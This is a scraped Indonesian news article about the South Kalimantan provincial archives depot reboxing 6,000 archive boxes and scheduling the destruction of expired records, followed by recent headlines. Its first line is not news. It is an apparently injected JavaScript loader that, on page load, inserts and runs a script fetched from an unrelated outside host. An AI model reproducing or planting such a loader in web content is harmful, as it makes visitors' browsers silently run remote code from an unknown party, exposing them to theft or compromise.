(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Depo Arsip Pemprov Kalsel Ganti 6000 Boks dengan yang Baru


KANALKALIMANTAN.COM, BANJARBARU – Dinas Perpustakaan dan Kerasipan (Dispersip) Provinsi Kalimantan Selatan melakukan renovasi dan penggantian boks arsip di Depo Arsip Pemprov Kalsel di Banjarbaru, Selasa (26/5/2020).

Sejumlah boks yang usang diganti dengan boks yang baru (reboxing) sebanyak 6000 boks. Juga pembenahan toilet, mushola, ruang pertemuan dan ruang lobi. Depo Arsip bekerja usai lebaran ini, satu persatu box yang usang diganti dan disusun kembali.

“Reboxing ini kami lakukan sekaligus pendataan arsip guna pemusnahan di tahap berikutnya,” kata Kepala Dispersip Kalsel Dra Hj Nurliani Dardie.

Ada 6000 boks baru yang disiapkan Depo Arsip Pemprov Kalsel di Banjarbaru –belakang Balai Kota Banjarbaru-. Penggantian boks arsip dengan yang baru tujuanya untuk melakukan efisiensi ruangan maupun biaya pemeliharaan.

“Sebab nanti setelah reboxing ini akan dipilihi arsip mana yang akan dimusnahkan di tahap selanjutnya. Karena jika arsip yang lama tidak dimusnahkan memerlukan biaya pemeliharaan yang tidak sedikit,” kata Kadispersip Kalsel.

Sebelumnya, Depo Arsip Pemprov Kalsel sudah memusnahakan 26.5858 berkas.

Salah satu sudut di Depo Arsip Pemprov Kalsel yang segera direnovasi karena rusak. foto: dispersip kalsel for kanalkalimantan

“Target kita 2021 sebanyak 28.000 berkas lagi dimusnahkan,” kata Bunda Nunung -biasa disapa-. Arsiparis Pelaksana Dispersip Kalsel, Muhammad Al Fajri menambahkan, memang dalam pemusnahan arsip tidak sembarang memusnahkan.

“Harus sesuai masa retensi arsip. Arsip keuangan misalnya itu masa retensinya 10 tahun dan arsip kepegawaian 5 tahun,” kata arsiparis Dispersip Kalsel ini.

“Nah, kalau masa retensinya di atas 10 tahun maka harus ada persetujuan arsip nasional. Setelah arsip nasional memberikan rekomendasi maka nanti gubernur akan membuat SK lagi untuk penghapusan,” pungkasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

12 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

12 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

13 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

13 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

13 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

15 jam ago

This website uses cookies.